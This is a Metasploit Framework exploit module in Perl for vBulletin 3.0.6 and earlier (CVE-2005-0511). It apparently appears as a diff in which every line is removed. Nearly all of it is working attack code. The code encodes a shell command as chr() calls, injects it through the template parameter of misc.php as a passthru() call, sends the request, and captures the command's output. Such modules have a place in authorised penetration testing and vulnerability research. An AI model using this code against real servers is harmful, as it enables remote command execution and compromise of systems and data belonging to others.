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- ##
- # Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
- # Name: php_vb3_0_6.pm
- # License: Artistic/BSD/GPL
- # Info: Trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
- #
- #
- # - This is an exploit module for the Metasploit Framework, please see
- # http://metasploit.com/projects/Framework for more information.
- ##
-
- package Msf::Exploit::php_vbulletin_template;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' => [ 'str0ke < str0ke [at] milw0rm.com >' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an arbitrary PHP code execution flaw in the vBulletin web
- forum software. This vulnerability is only present when the "Add Template Name in HTML Comments"
- option is enabled. All versions of vBulletin prior to 3.0.7 are affected.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '14047'],
- ['CVE', '2005-0511'],
- ['MIL', '81'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'Keys' => ['cmd', 'cmd_bash'],
- },
-
- 'Keys' => ['vbulletin'],
-
- 'DisclosureDate' => 'Feb 22 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $vhost = $self->GetVar('VHOST') || $target_host;
- my $path = $self->GetVar('RPATH');
- my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
-
- # Add an echo on each end for easy output capturing
- $cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";
-
- # Encode the command as a set of chr() function calls
- my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
-
- # Create the get request data
- my $data = "?do=page&template={\${passthru($byte)}}";
-
- my $req =
- "GET $path$data HTTP/1.1\r\n".
- "Host: $vhost:$target_port\r\n".
- "Content-Type: application/html\r\n".
- "Content-Length: ". length($data)."\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Sending the malicious vBulletin request...");
-
- $s->Send($req);
-
- my $results = $s->Recv(-1, 20);
- $s->Close();
-
- if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
- my $out = $1;
- $out =~ s/^\s+|\s+$//gs;
- if ($out) {
- $self->PrintLine('----------------------------------------');
- $self->PrintLine('');
- $self->PrintLine($out);
- $self->PrintLine('');
- $self->PrintLine('----------------------------------------');
- }
- }
- return;
- }
-
- 1;
-